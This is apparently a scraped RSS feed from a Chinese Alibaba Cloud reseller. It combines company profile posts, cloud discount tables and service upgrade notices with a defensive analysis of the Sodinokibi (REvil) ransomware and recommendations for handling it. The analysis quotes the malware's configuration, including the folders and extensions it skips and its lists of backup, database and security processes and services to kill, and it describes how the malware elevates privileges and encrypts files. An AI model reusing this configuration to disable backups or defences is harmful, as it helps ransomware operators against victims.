阿里云服务-米姆科技官方网站 http://www.51mimu.com 广州米姆信息科技有限公司,深度服务阿里云用户,为用户提供产品及技术支持:云服务器ECS、数据库RDS、网站加速CDN、阿里云邮箱、对象存储OSS、阿里云企业邮箱、WAF防火墙、高防IP、企业短信等产品服务,为用户给予阿里云优惠折扣解决方案、阿里云沙龙及阿里云峰会、 免费云主机试用、阿里云促销优惠活动、代金券优惠等活动,让用户享受米姆服务中心阿里云全栈服务。,在线咨询电话:020-87581205 Fri, 02 May 2025 09:39:03 +0800 zh-CN hourly 1 https://www.s-cms.cn/?v=4.7.5 公司文化 Fri, 02 May 2025 09:39:03 +0800

目前米姆采用人性化管理及制度综合管理相结合的方式让企业管理效率最大化,目前我公司的管理制度,涉及到安全、流程、认证等各方面,各种制度健全合理,包含部分岗位流程SOP、销售服务准则、职能认证规范及要求等十数种程序文件。从各种制度的执行情况来看,各种制度制定的有效合理,能够有效地给予生产进行指导和员工行为规范的约束


   

米姆核心目标:

米姆立志并已致力成为全球领先的企业数字化转型一站式解决方案和营销一体化的服务提供商。价值观:技术创新、诚信合作、以人为本、服务企业员工:员工相互信任、尊重、积极向上,为员工提供更多的培训机会,鼓励员工技术与管理创新、分享知识与经验,为员工提供一个公平公正的可持续发展平台,为客户提供一个搞效率服务平台。
诚信:铸诚魂 弘商誉品质:品质第一 客户至上创新:持续创新 不断超越分享:整合资源 分享世界
]]>
米姆(MEME)科技简介 Fri, 02 May 2025 09:39:03 +0800



米姆信息科技专注企业IT服务,技术创新驱动的企业服务专家,主要开展网络安全、信息化建设、公有云服务、私有云建设、中台开发、等保测评、DevOps构建&应用、K8s&容器云搭建、云MSP服务、自动化运维等业务。目前已经在全国服务了超千家企业。


image.png

]]>
测试标题 Fri, 02 May 2025 09:39:03 +0800 测试文章内容

]]>
个人清新简洁PPT模板 Fri, 02 May 2025 09:39:03 +0800 (46).jpg

]]>
Sodinokibi病毒解析及处置方案 Fri, 02 May 2025 09:39:03 +0800

    2021年5月份,多个集团公司遭受了sodinokibi勒索病毒,用户多地集团的终端陆续出现被感染的情况,该病毒导致客户部分业务中断无法正常使用。严重影响了用户的日常工作。在勒索信中提到攻击组织名称REvil,信中除了解密方式,攻击者还提到他将客户重要资料截图发在图片站点https://prnt.sc。


    勒索信提到“我们还从您的服务器下载了大量敏感数据,如果您不付款,我们将开始将您的文件上传到我们的公共博客"图片。通过威胁情报以及对最近2个月内的应急响应案例进行分析,在4月份,其他行业也同样遭受过该类攻击,sodinokibi勒索病毒是继承了GrandCarb的代码结构,然后进行升级勒索手段的方式进行勒索,根据情报该病毒已经席卷了部分知名厂商。


    网络安服团队根据最近的攻击行为分析,本次的攻击手段从原来的钓鱼邮件等方式演变为入侵客户主机后进行直接投放病毒文件的方式进行勒索,定义为APT式勒索软件。结合最近某大型行业的情况,大致判断为有APT攻击组织盯上某大型行业进行勒索攻击。

    如下是网络安服团队对本次病毒事件的具体分析及处置建议。

    

    Sodinokibi勒索病毒分析

    通过被勒索终端排查及样本提取中招主机,排查主机发现勒索样本broker.exe和样本加载脚本start.batstart.bat,在日志内容中发现攻击者从某主机(跳板机)上共享下载并执行勒索样本,该脚本放在组策略启动项中,实现开机关机等操作自启动。推测攻击者通过域控组策略下发勒索病毒加载脚本,从跳板机的共享上下载勒索病毒。broker.exe 式勒索病毒加密本体,采用了白切黑的方式有数字签名,可以实现部分杀软免杀。


    样本入口如下:

image.png


会释放一个exe和一个dll到临时目录,并启动进程MsMpEng.exe。其中MsMpEng.exe主要是调用dll的导出函数ServiceCrtMain

image.png
image.png


导出函数ServiceCrtMain任务是:

image.png


PE如下:

image.png


还原PE标记,使用PE文件解析器可正常解析,但导入表被加密,后来发现病毒手动调用要使用的API(动态解密)


image.png

该PE文件为病毒本体,病毒入口如下:

image.png

该勒索病毒有张配置表,该配置表单主要记录了病毒加密行为以及勒索文本如下:

文件目录避免:

"fld":["$windows.~bt","intel","google","windows","torbrowser","$windows.~ws","application data","mozilla","windows.old","perflogs","appdata","msocache","boot","systemvolume information","program files","program files(x86)","$recycle.bin","programdata"],
文件避免:

"fls":["thumbs.db","bootsect.bak","desktop.ini","ntldr","ntuser.dat","autorun.inf","iconcache.db","boot.ini","bootfont.bin","ntuser.ini","ntuser.dat.log"],
文件扩展名避免:

"ext":["exe","mod","shs","cpl","idx","diagcfg","ico","nomedia","sys","cmd","key","msp","msstyles","bin","rom","bat","cur","diagcab","ldf","dll","scr","hta","rtp","hlp","theme","msi","com","prf","spl","wpx","deskthemepack","diagpkg","mpa","icns","ps1","drv","ics","nls","adv","msu","cab","lnk","ocx","ani","themepack","icl","msc","386","lock"]},
文件目录移除:

"wfld":["backup"]
杀死进程清单:

"prc":["mydesktopqos","thebat","synctime","onenote","mspub","dbsnmp","isqlplussvc","tbirdconfig","oracle","xfssvccon","wordpad","agntsvc","sqbcoreservice","ocautoupds","firefox","msaccess","thunderbird","excel","outlook","encsvc","visio","powerpnt","ocomm","steam","mydesktopservice","ocssd","sql","winword","dbeng50","infopath"]
杀死服务清单:

"svc":["veeam","sql","svc$","backup","sophos","vss","memtas","mepocs"]

勒索文本:

[+] Whats Happen? [+]
Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension u89416xh.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).
[+] What guarantees? [+]

......................................


并且病毒会判断所感染计算机使用的语言,如下:

红框中为目标感染国家的语言ID,如果使用的函数GetUserDefaultUILanguage,GetSystemDefaultUILanguage返回的ID和列表框中的ID相同,那么为感染目标,通过此处来看修改非目标计算机语言可避免感染该病毒image.png

病毒会创建互斥体确保唯一运行,病毒会多次检查自己的句柄权限是否为管理员权限,如果权限不够将会重新以管理员权限启动自己,并且激活相关权限。病毒实际的行为是在Sub_F4476F_Start函数中,如下:

image.png

病毒首先清空回收站,然后设置注册表自启动,关闭清单中的相关服务,杀死清单中进程,然后在激活相关权限的情况下,开始加密功能。主要使用kernel32_FindFirstFile 和kernel32_FindNextFile来查找所有文件,使用salsa20+AES的算法进行文件加密加密

image.png

在加密的过程如果发现文件为目标感染文件,但被进程占用,病毒会调用terminateProcesss结束相关进程,然后再加密

image.png

加密函数如下:

image.png


病毒也会同时对网络磁盘中的文件进行加密

image.png

在加密的过程中病毒有枚举网络资源的行为,疑似内网传播及拷贝,如下:

image.png

在加密功能完成以后会调用函数Sub_F458E2设置桌面背景为勒索图片

image.png



Sodinokibi病毒处置方案



1.应急措施

阻断各个接口的网络连接。全网发出安全通告,通知服务器、PC断网、未开机电脑禁止开机,断网线


2.处置建议

第一,Sodinokibi 勒索病毒暂无解密工具,可先将被加密的重要文件、勒索信息文件备份保存,以待将来有解密工具时解密


第二,病毒样本可通过终端EDR以及防病毒客户端进行监测与查杀


第三,部署态势感知类设备以及全流量探针对整网的安全情况进行分析、监测,通过流量分析并找出其他可能感染勒索病毒的机器


同时,针对本次Sodinokibi勒索病毒,米姆网络安服团队的防护建议如下:


【日常运维建议】

第一,通过日常的风险评估对现有的安全环境进行检查,定期对资产与网络进行风险评估,确保漏洞、威胁能得到妥善解决


第二,加强企业员工安全意识培训,不轻易打开陌生邮件或运行来历不明的程序


【安全防护建议】

第一,及时更新操作系统及其他应用的高危漏洞安全补丁,对所有服务器、个人终端推送勒索病毒利用的ms17-010漏洞补丁进行安装加固,补丁链接如下:https://www.catalog.update.microsoft.com/Search.aspx?q=ms17-010


第二,加强对域控的安全防护:检测是否存在ZeroLogon(CVE-2020-1472)漏洞,如有通过以下链接获取补丁进行加固:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1472


第三,尽量避免危险端口对外开放,利用 IPS、防火墙等设备对危险端口进行防护(445、139、3389 等)


第四,开启 windows 系统防火墙,通过 ACL 等方式,对 RDP 及 SMB 服务访问进行加固


第五,通过 Windows 组策略配置账户锁定策略,对短时间内连续登陆失败的账户进行锁定


第六,加强主机账户口令复杂度及修改周期管理,并尽量避免出现通用或规律口令的情况;


第七,修改系统管理员默认用户名,避免使用 admin、administrator、test 等常见用户名


第八,安装具备自保护的防病毒软件,防止被黑客退出或结束进程,并及时更新病毒库


第九,部署EDR类的终端检测防护类设备,针对勒索病毒攻击性行为进行发现与拦截


【修复建议】

定时对重要业务数据进行备份,防止数据破坏或丢失


【安全监测建议】

建议部署态势感知类设备以及全流量探针对整网的安全情况进行分析、监测,并配合威胁情报完善日常安全工作


网络安全专项服务


对企业安全仍有担忧?针对本次勒索病毒,米姆网络安服团队可提供以下专项服务:

上门病毒排查服务;

针对性的基线配置检测;

试用企业级防病毒系统;

专业的企业级灾备方案。


全方位保障企业安全,除了以上服务,米姆网络还提供基础安全服务、现场安全评估服务、应用安全评估服务、风险评估服务、咨询服务、培训服务、一站式等保服务、驻点服务等多项安全服务。


处置思路


修复本地系统:

安装MS17-010补丁,修补SMBv1服务漏洞。

恢复网络拦截能力:

用满足当前环境的流量监控分析设备,拦截一部分的攻击数据包,并记录内部攻击源。

增加本地安全能力:

激活全部终端的防病毒客户端,修改特权账号,修复弱密码。
















]]>
阿里云双十一优惠活动怎么玩? Fri, 02 May 2025 09:39:03 +0800 官网首页图.png

官网首页图.png

参与时间活动主题活动方式活动对象活动内容使用时间专属链接说明
10月24日-11月11日开宝箱领取满减代金券阿里云所有用户满50减7.5
    满300减45
    满700减105
    满1000减150
    满2000减240
    满3500减420
    满5000减600
    满8000减960
    1、同一账号仅可参与一次开宝箱;
    2、每个订单仅可用一次满减代金券。可与3折以上折扣产品和购物车满减叠加(
3折需要验证
代金券使用时间:
    11月1日-11月11日
https://www.aliyun.com/1111/home?spm=5176.19720258.J_2937333540.5.7b652c4ab8sFAa代金券不适用产品:
   
安全产品:内容安全/漏洞扫描,数据库审计、堡垒机、实人认证、应急响应、等保咨询、威胁狩猎服务、安全加固、安全咨询服务、内容安全基础包、内容安全语音/文本加油包、内容安全并发套餐;
    CDN&视频云、云通信、IoT全线产品;
    云服务总线、应用实时监控服务、容器服务、消息队列 MQ、容器服务Kubernetes版、容器镜像服务、应用配置管理;
    云小蜜、云呼叫中心、智能对话分析;
    域名、商标服务、软件著作权登记、虚机、云市场全线产品;
11月1日-抽上云红包抽奖得红包个人红包面值:5/20/30/66元
    企业红包面值88/166/188/288/1111元
    1、指定云产品的
新购、升级订单,每个订单仅可使用1个红包;可与指定云产品折扣、购物车满减优惠叠加
    2、
可多次使用,直到抵扣完毕
11月1日-11月11日红包不适用产品:
   
活动价小于300元的云服务器产品;视频云、云通信、IoT全部产品;漏洞扫描按次、漏扫包年包月、内容安全包年包/加油包、内容安全语音及文本包;容器镜像ACR、边缘容器服务ACK;域名、商标服务、软件著作权登记、虚机;
11月1日-11月13日拼团活动
1、无门槛开团,通过拼团链接每完成一笔新购订单,团队随机获得一个拼团红包,最高奖励11111元;升级续费均不计入有效;
    2、同一个账号仅可开一个团
    3、自推自卖的拼团订单无法交易,不算入有效。
红包使用时间:
    11月1日-11月30日
https://www.aliyun.com/1111/pintuan-share?ptCode=MTgwNDc2NDgyNTM1OTU3NXx8MTE0fDE%3D&userCode=lojocax7云大使享有额外佣金加码机会
11月1日-11月11日充值返券
充2000返满1000减100代金券*2
    充6000返满3000减300代金券*2
    充2万返满1万减1500代金券*2
    充5万返满2万5减5000代金券*2
    可购买今年7月-11月期间未保有产品
11月9日-11月11日
区分同人账号
10月24日-11月30日电销账号满减电销申请激活码给用户归属电销的客户满3500减350;
    满12000减1200;
    满25000减2500;
    满50000减5000;
    满100000减10000;
    满150000减15000;
    满200000减20000;
11月9日-11月11日/1、仅用于产品新购、升级订单,购买2种以上产品可用(不同产品)、5折以下不可参与满减(5折参与),订单时长≤1年,每个用户仅可享受1次;
   
2、不参与产品清单:漏洞扫描按次、漏扫包年包月、内容安全包年包/加油包、内容安全语音及文本包、云企业网、全球加速、爆款-CDN/全站加速资源包10TB、50TB-6个月、CDN/全站加速资源包1PB/5PB   下行流量、爆款-点播资源包10TB、50TB、爆款-视频直播流量包10TB、50TB、短信(非1年期产品)、OCR印刷文字识别、ocr、函数计算fc、serverless应用引擎sae、微服务引擎MSE、企业级分布式应用服务   EDAS 3.0、边缘容器服务ACK@Edge(月)、边缘容器服务ACK@Edge(叠加3个月)、消息队列rocketmq、消息队列kafka、IOT全类目、域名、知识产权首购、智能LOGO设计、商标注册提货券
11月1日-11月11日新人专区通过指定购买页面采购指定配置产品新用户ECS低至0.73折
    数据库、安全产品低至
3折
    云通信低至
0.72折
11月1日-11月11日https://www.aliyun.com/1111/new?spm=5176.20584151.J_2721338800.9.7f1b449fPlitjk
   
可与上云红包叠加
11月1日-11月11日爆款专区不限指定配置11月1日-11月11日https://www.aliyun.com/1111/home?utm_content=se_1007171491&accounttraceid=3711e73c185e408fa44eab862620ad35ggqs可与上云红包叠加

产品开始时间活动主题活动方式活动对象活动条件使用时间折扣专属链接
数据库10月28日
领取数据库首购代金券数据库新客满500减200
    满1000减400
    满2000减800
    首购数据库产品可用
11月1日-11月11日60%

领取数据库新购升级代金券
满1000减50
    满2000减100
    满4000减200
    满10000减500元
    满20000减1000元
    满40000减2000元
    新购升级指定产品可用
95%
网络11月1日
领取新购升级通用代金券
满300减10
   
满1000减50




领取云企业网/全球加速新购升级代金券
满1000减50
    满5000减350


安全11月1日
1、领取100元无门槛代金券(5折及以下不适用)
    2、购物车满减
(包1年新购)

每10W减1W,最高减10万11月1日-11月11日
http://www.aliyun.com/1111/security
ECS11月1日
分会场领取满减代金券
满1000减120
    满3000减360
    满10000元减1200
11月9日-11月11日


消费满1500元,可抽奖一次
10台1年ECS免费使用权
    250张续费升级代金券



活动时间客户限制产品折扣备注
11月1日-11月11日新客T5/S6/C6a/轻量应用服务器S6最低0.73折每人限购一台,S6每天限量4000台
企业新客C5G5C6G6C6eG6e
    R6hfc6hfg6G6aR6a
半年4.5折、1年4.1折及3年3.8折限购3台
老客GPU主要是gn5、gn6i
    其他:C6e/G6e/hfc6/hfc7/C6/G6/R6/C5/G5/R5
GPU
    1个月5.5折
    半年:8.5折
    1年:8折
每人限购1台






活动主题产品活动时间活动内容

首续折扣云服务器ECS截止2021.3.31首购用户首次续费一年享受7折优惠
    详细请见https://www.aliyun.com/daily-act/ecs/activity_selection
    首次购买ECS用户第一次续费


购物车-首复满减
首购用户首次复购2000减200,封顶减30000
    详细请见https://www.aliyun.com/daily-act/ecs/activity_selection
    首次购买ECS的用户再次购买新的ECS


升配折扣截止2020.11.30实例升级到2-8核享受6.5折优惠
    带宽升级到5-6M享受6.5折优惠
    云盘扩容至半年以上200G,可享受6.5折优惠
    同一用户仅限参与1次,仅限1台实例参与升级;
    2020年7月31日前购买且保有1-2台ECS实例的用户
    本活动同一用户仅限参与1次,仅限1台实例参与升级


购物车-复购满减(暗线)截止2020.11.30满2000减1000(少量满1500减500)首购用户第一次复购
    详细请见https://www.aliyun.com/daily-act/ecs/activity_selection


折扣-续费折扣截止2020.12.31续费半年享受7.5折优惠
    续费一年享受
6.5折优惠
    详细请见https://www.aliyun.com/daily-act/ecs/care
    本活动同一用户仅限
参与1次仅限1台实例参与升级,首购用户第一次续费


活动时间产品订单类型配置版本存储空间客户限制时长原价折扣折后价每人数量限制备注
11月1日-11月11日Mysql新购2核4G基础版100GB新客1年307030%9211台
新购2核4G高可用100GB企业新客1年696030%20881台
新购4核8G高可用100GB企业新客1年1236030%37081台
新购4核8G三节点100GB企业新客1年1656030%49681台
新购8核16G三节点100GB企业新客1年2880030%86401台
Polar   DB新购4核8G单节点
新客1年345630%1036.81台
新购计算包 小型800 CU内

新客1年3000030%90001个
新购4核16G两节点
企业新客1年2400030%72001台
DBS新购small

新客1年168030%5041台
新购Medium

企业新客1年268830%806.41台
11月9日-11月11日Mysql新购2核4G基础版200G内老用户1年427270%2990.4不限
新购2核4G高可用200G内老用户1年792080%6336不限
新购4核8G基础版200G内老用户1年678070%4746不限
新购4核8G高可用200G内老用户1年1332080%10656不限
新购8核16G高可用200G内老用户1年2352080%18816不限
新购1:8规格

老用户1年4092050%20460不限
新购三节点版

老用户1年4968050%24840不限
SQLServer新购2核4G标准版200G内老用户1年1026070%7182不限
新购4核8G标准版200G内老用户1年1668070%11676不限
新购8和16G标准版200G内老用户1年2952070%20664不限
新购2核4GWEB版200G内老用户1年624070%4368不限
新购4核8GWEB版200G内老用户1年948070%6636不限
新购8和16GWEB版200G内老用户1年1620070%11340不限
新购2核4G企业版200G内老用户1年1080070%7560不限
新购4核8G企业版200G内老用户1年1860070%13020不限
新购8和16G企业版200G内老用户1年3360070%23520不限
PostgreSQl新购2核4G基础版200G内老用户1年427270%2990.4不限
新购4核8G基础版200G内老用户1年678070%4746不限
新购4核8G高可用200G内老用户1年1702870%11919.6不限
新购8和16G高可用200G内老用户1年3004870%21033.6不限
Polar DB-M新购计算包 800CU内

老用户1年3040050%15200不限

新购4核16G双节点
老用户1年2400080%19200不限

新购4核8G单节点
老用户1年345680%2764.8不限
Polar DB-M存储包新购1TB内

老用户1年3780080%30240不限
Polar DB-O新购4核16G

老用户1年3120070%21840不限
Polar DB-X新购16核64G

老用户1年5586070%39102不限
Redis新购云盘版1G

老用户1年108050%540不限
新购云盘版2G

老用户1年216050%1080不限
新购云盘版4G

老用户1年432050%2160不限
新购云盘版8G

老用户1年864050%4320不限
新购本地盘版1G

老用户1年120080%960不限
新购本地盘版2G

老用户1年216080%1728不限
新购本地盘版4G

老用户1年408080%3264不限
新购本地盘版8G

老用户1年792080%6336不限
MongDB新购4.4版本

老用户1年900050%4500不限
新购2核4G
200G内老用户1年1258680%10068.8不限
新购4核8G
400G内老用户1年2395280%19161.6不限
HBase新购4核16G
1TB老用户1年5558480%44467.2不限
新购8核32G
1TB老用户1年8716880%69734.4不限
ADB新购C8
500G老用户1年62937.680%50350.08不限
MyBase新购全规格

老用户1年56803.3480%45442.67不限
RDS升级全规格

老用户不限
70%

按量转包年也可,只读实例也可
Redis升级全规格

老用户不限
70%


MongoDB升级全规格

老用户不限
70%


Polar DB升级全规格

老用户不限
70%


HBase升级全规格

老用户不限
70%


ADB升级全规格

老用户不限
70%


Mybase
32核

老用户1年85126.5420%16888首购限制前20位,每人限制2-4台
ADB
32核2节点
老用户1年6522014%8888首购限制前20位,每人限制2-4台
PolarDB 计算包
2000CU

老用户1年7600022%16888首购限制前20位,每人限制2-4台
活动产品订单类型订单时长折扣申请条件截止时间
数据库全线产品新购升级1个月95折

3个月9折

6个月85折

1年8折

1年75折订单总额5万/年
1年7折订单总额15万/年






活动产品订单门槛续费代金券备注
数据库产品续费20001001.有且仅有5个面值
    2.同一个客户一个面值档位可以领一张。 
    3.同一个客户每一个续费订单可以用一张。如果需要使用多张券,可以分多个续费订单。
    4.11月9日0点到11日24点间使用,过期作废。

5000250
10000500
200001000
500002500
活动时间订单类型客户限制产品指定配置折扣力度备注
11月1日-11月11日新购不限漏洞扫描包年/按次3折
内容安全语音及文本专项包3折
实人认证智能核身20万次35折
实人认证/金融级实人认证流量包50万次5折
内容安全基础包/加油包1000万次及以上5折
SSL证书vTrus DV通配符6折
云安全中心(态势感知)开通防篡改功能7折
云防火墙高级版7折
敏感数据防护包月,全规格7折
DDOS防护包月,全规格85折
WEB应用防火墙包月,全规格85折







1、新购安全10万以上且无大客户折扣,可申请暗线
    2、续费升级,不限订单金额,可申请暗线
    3、改价&特殊套餐所有折扣均不享受。
    注:部分产品不参与暗线,需提前沟通
明线活动时间订单类型客户限制产品指定配置时长限制网络满减代金券是否叠加官网满减代金券是否叠加上云红包充返代金券官网折扣力度暗线折扣力度暗线活动时间备注
11月1日-11月11日预付费新客负载均衡简约型I、标准型I1年××1年:实例2折,带宽75折(>5M)
11月1日-11月30日
预付费新客3月××3月:实例25折,带宽8折

预付费新客NAT网关小型1年××30%

预付费新客3月××35%

预付费新客弹性公网IP<50M1年××75%

预付费新客3月××80%

预付费新客共享流量包不限
85%全规格83折1个月10G没有折扣
预付费新客云企业网2-20M(跨境/不跨境)1年××55%

预付费新客1月××60%
跨境限企业用户
预付费新客全球加速实例:选型I+小型II
    基础/跨境带宽包:2-20M
1年××实例:小型I1%;小型II25折
    基础/跨境带宽包:55折
带宽51折起
预付费新客1月××实例:小型I1%;小型II3折
    基础/跨境带宽包:6折
预付费新客VPN网关IPSec-5M/10M1年实例
    IPSec-5M:3折
    IPSec-10M:65折
    带宽:75折


预付费新客3月实例
    IPSec-5M:35折
    IPSec-10M:7折
    带宽:8折


预付费新客智能接入网关SAG-APP(5-30个客户端)1年5-10个客户端:3折
    10-30个客户端:65折


预付费新客3月5-10个客户端:35折
    10-30个客户端7折


11月9日-11月11日新购升级老客负载均衡不限1年

实例:7折
    带宽:8折
带宽:75折(>5M)
老客NAT网关不限1年

65%75折(>5M)
老客弹性公网IP不限1年

80%75折(>5M)
老客共享流量包不限不限

85%83%
老客云企业网2-20M(跨境/不跨境)1年

70%6折起
老客1月

75%6折起
老客全球加速实例:选型I+小型II
    基础/跨境带宽包:2-20M
1年

70%51折起
老客1月

75%51折起
老客VPN网关不限1年

实例:7折
    带宽:8折
70%
老客智能接入网关SAG-APP,所有规格1年

70%65%
活动时间订单类型客户限制产品指定配置明线折扣暗线折扣暗线折后价备注
11月1日-11月11日新购新客性能测试PTS1W vum按量付费资源包10%
0.99起不与其他优惠共享
新购不限10W   vum/2周起
    (包周包月资源包)
85%
4980起
新购新客应用高可用AHAS70节点*天起
    (流量防护资源包)
50%
99起
新购不限应用高可用AHAS500节点*天起
    (流量防护资源包)
50%
1375起
新购新客函数计算FC1CU预购计算力50%
41.05起
新购serverless应用引擎SAE5000核*时/月,10000G*时/月90%
810起
新购微服务引擎MSE预付费全规格
    (包月资源包)
90%
45.14起
新购EDAS 3.0预付费标准版,5个实例/月
    (5个实例起购,包月资源包)
80%
180起
新购EDAS 3.0预付费专业版,1个实例/月
    (包月资源包)
75%
112.5起
新购消息队列kafka预付费全规格(限购一个月)75%
1292.625起
新购消息队列Rocket MQ预付费全规格75%
202.5
新购容器镜像ACR EE(月)基础版、标准版、高级版75%70%546起不与其他优惠共享
新购容器镜像ACR EE(叠加3个月)基础版、标准版、高级版68%63%1474.2起不与其他优惠共享
新购容器镜像ACR EE(年)基础版、标准版、高级版65%60%5616起不与其他优惠共享
新购不限应用监控服务ARMS150探针*天(应用监控资源包)10%
70起不与其他优惠共享
新购200万页面上报次数(前端监控资源包)85%
42起不与其他优惠共享
新购消息队列rocketMQ预付费年包(不退款)85%
2754不与其他优惠共享
新购消息队列kafka预付费半年包(不退款)90%
8550.9不与其他优惠共享
新购消息队列rocketMQ预付费半年包(不退款)90%
1458不与其他优惠共享
新购消息队列kafka预付费年包(不退款)85%
16151.7不与其他优惠共享
活动时间订单类型客户限制产品指定配置时长明线折扣秒杀价(1折)首购价(3折)暗线折扣暗线备注备注
11月1日-11月30日新购新客OSS存储包500G3月1折起16.249

每天上午10点限量50个秒杀,不叠加其他优惠

1TB33.399.9

新购文件存储NAS极速型300G1月48.6146

新购混合云备份存储容量500G13.3240

新购存储容量单位包500G3折50150

新购日志服务存储包1TB1折起32.25697

新购表格存储存储包1TB21.564.6

新购升级老客OSS存储包全规格不限折上8折
   
(相当于原价6折)


折上7折预付费(新购、升级、续费)折上折可多次使用
新购升级文件存储NAS

新购升级混合云备份HBR

新购升级存储容量单位包

新购升级日志服务SLS

新购升级表格存储OTS




新购不限混合云存储入门级阵列SA2100双控32G/4TB   NLSAS*3/1G*8接口
6折



秒杀,限50台
新购混合云存储基础级阵列SA2600双控64G/8TB   NLSAS*5/1G*8接口,可扩展多协议接口
56折



秒杀,限3台
新购除秒杀配置外
大额代金券

伙伴折扣
暗线可叠加5千元代金券
新购混合云存储主流级阵列SA3700双控128G/960G   SSD*4/1G*8接口,已扩展为10G ISCSI(SFP+)
58折



秒杀,限3台
新购除秒杀配置外
大额代金券

伙伴折扣
暗线可叠加1万元代金券

活动时间客户限制产品指定配置折扣备注
11月1日-不限OCR印刷文字识别
15%
新客PAI交互式建模P10030%首月新购600元/月
MC-Hologres32核128G
首月888元
Elastisearch4核16G以下50%首购年付5折
DataWorks专业版4%首月新购199元
MaxCompute预付费标准计算资源1.3%首购首月10cu/199元
Databricks数据洞察指定规格0.86%首月新购599元
Quick BI标准版30%首购

高级版65%首购
实时计算Flink全托管版本10cu/99元0.29%首购首月10cu/99元
11月9日-11月11日老客PAI交互式建模P10040%包月仅需800元,单笔订单最多买6个月
PAI在线预测服务
80%升级任一规格
MC-Hologres
80%计算配置限时升级
开放搜索共享通用版70%年付
智能推荐标准版70%年付
实时计算Flink独享模式85%年付
Quick   BI标准版45%复购
高级版70%复购

新人用户

类别实例CPU/内存系统盘带宽购买时长活动价原价折扣说明备注
ECS共享型S61核2G高效云盘40G1M1年84.97523.80.16
个人用户
1M3年254.921326.960.19
个人用户
2核4G高效云盘40-100G1-10M1年226.08847.80.27
个人用户
1-10M3年508.682147.760.24
个人用户
2核8G高效云盘40-100G5-10M1年2449.923253.80.75
个人用户
5-10M3年7349.7676410.96
个人用户
4核8G高效云盘40-100G1-10M3个月598.328310.72
个人用户
1-10M1年731.282825.40.26
个人用户
1-10M3年2193.845707.80.38
个人用户
轻量应用服务器1核1GSSD 40G
1年125.49690.13
个人用户
1核2G
1年191.414790.13
个人用户
2核4GSSD 60G
3个月592.87800.76
个人用户
2核8GSSD 80G
3个月75610800.70
个人用户
突发性能t51核2G高效云盘40-100G
1年96.996.91.00
个人用户

3年290.7290.71.00
个人用户











持续更新
      活动链接:https://www.aliyun.com/1111/new?spm=5176.20584151.J_2721338800.9.7f1b449fPlitjk
   

拼团产品

拼团链接:https://www.aliyun.com/1111/pintuan-share?ptCode=MTgwNDc2NDgyNTM1OTU3NXx8MTE0fDE%3D&userCode=lojocax7
用户类别实例CPU/内存系统盘带宽购买时长活动价原价折扣说明备注
新用户ECS共享型S61核2G高效云盘40G1M1年84.97523.80.16

1M3年254.921326.960.19

2核4G高效云盘40-100G3M1年295.211070.27

3M3年664.22804.40.24

4核8G高效云盘40-100G5M1年1000.563865.80.26

5M3年3001.6888290.34

计算型C52核4G高效云盘40-100G5M半年874.819440.45企业用户带宽可选
计算型C6e8核16G高效云盘40-100G5M1年2575.089516.60.27企业用户带宽可选
5M3年7725.2419787.40.39企业用户带宽可选
轻量应用服务器1核1GSSD 40G
1年125.49690.13

1核2G
1年191.414790.13

老用户ECS计算型C62核4G40-100G3-10M1年2668.82835.60.94
带宽、云盘可选
4核8G1年446447430.94
带宽、云盘可选
计算型C52核4G40-100G3-10M1年259227540.94
带宽、云盘可选
4核8G1年4310.44579.80.94
带宽、云盘可选
RDSMySQL2核4G高可用版
1年633667320.94

4核8G
1年10656113220.94

8核16G
1年18816199920.94

1:8规格

1年10860152040.71
全规格五折
三节点版

1年504060480.83
全规格五折
Redis
1G云盘版
1年5409180.59
1年5折

2G
1年108018360.59
1年5折

4G
1年216036720.59
1年5折

8G
1年432073440.59
1年5折
国内短信包5000条


2年2252500.90

1.5W条


2年6357050.90

云安全中心高级版


1年91810800.85

CDN全站加速流量半年包1TB


半年90
0.5
限购5个
5TB


半年450
0.5
限购5个
企业邮箱5账号


1年5406000.90
3年7折


]]>
【升级】10月微消息队列MQTT升级公告 Fri, 02 May 2025 09:39:03 +0800

【阿里云】【微消息队列MQTT】【升级通知】

升级窗口:

北京时间2020年10月12日 23:00 - 2020年10月13日 07:00

北京时间2020年10月14日 23:00 - 2020年10月15日 07:00

北京时间2020年10月19日 23:00 - 2020年10月20日 07:00

北京时间2020年10月21日 23:00 - 2020年10月22日 07:00

北京时间2020年10月26日 23:00 - 2020年10月27日 07:00

北京时间2020年10月28日 23:00 - 2020年10月29日 07:00

升级内容:所有地域的MQTT服务。

升级影响:

升级期间MQTT控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端应用需要设置自动重连,以免影响业务。

升级期间,消息发送可能会有少量失败,应用做好断连失败重试机制;同时可能会有消息延迟的现象。如需在控制台进行管理操作,请避开维护时间段。

给您带来的不便敬请谅解,有任何问题,可随时通过工单联系反馈。

]]>
【升级】10月消息服务MNS升级计划通知 Fri, 02 May 2025 09:39:03 +0800

【阿里云】【消息服务MNS】【升级通知】
升级窗口:

北京时间2020年10月15日 00:00 - 06:00

北京时间2020年10月22日 00:00 - 06:00

北京时间2020年10月29日 00:00 - 06:00

升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、华东2金融云、华南1金融云、华北2政务云、香港、亚太东南1(新加坡)、亚太东南2(悉尼)、亚太东南5(雅加达)、亚太南部1(孟买)、中东东部1(迪拜)、欧洲中部1(法兰克福)、美国东部1(弗吉尼亚)、美国西部1(硅谷)、英国(伦敦)等地域的消息服务升级。
升级影响:升级期间MNS相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

]]>
【升级】10月21日消息队列AMQP升级通知 (更新) Fri, 02 May 2025 09:39:03 +0800

【阿里云】【消息队列AMQP】【升级通知】

升级窗口:(已更新)北京时间2020年10月21日 00:00 - 03:00
升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、香港等全部地域(及铂金版)的服务升级。
升级影响:升级期间消息队列AMQP相关服务访问可能会出现多次闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过 5 分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

]]>
